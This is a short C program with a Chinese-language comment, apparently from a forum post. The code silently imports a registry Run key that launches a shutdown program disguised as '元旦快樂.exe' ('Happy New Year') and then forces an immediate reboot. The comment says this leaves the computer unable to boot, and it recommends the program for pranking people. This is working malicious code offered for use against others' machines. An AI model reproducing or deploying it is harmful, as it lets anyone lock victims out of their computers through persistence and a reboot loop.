#include<stdio.h>
#include<dos.h>
#include<process.h>
void main()
{
int flag;
FILE *fp;
fp=fopen("c:\\a.reg","wb");
fprintf(fp,"%s\n","REGEDIT4");
fprintf(fp,"%s","[HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"MyRegist\"=\"C:\\\\newfile\\\\console\\\\Debug\\\元旦快樂.exe\"");
fclose(fp);
flag=system("regedit /s c:\\a.reg");
system("shutdown -r -t 5");
}
這個可以和前面關機程序一起用,將關機程序用注冊表添加到開機啟動項,之后每次開機時就會運行關機程序,這樣就無法開機了!建議不會修改注冊表的人 不要運行該程序!這個可以用來整人哦! 如 上面寫的 元旦快樂就是個關機程序
|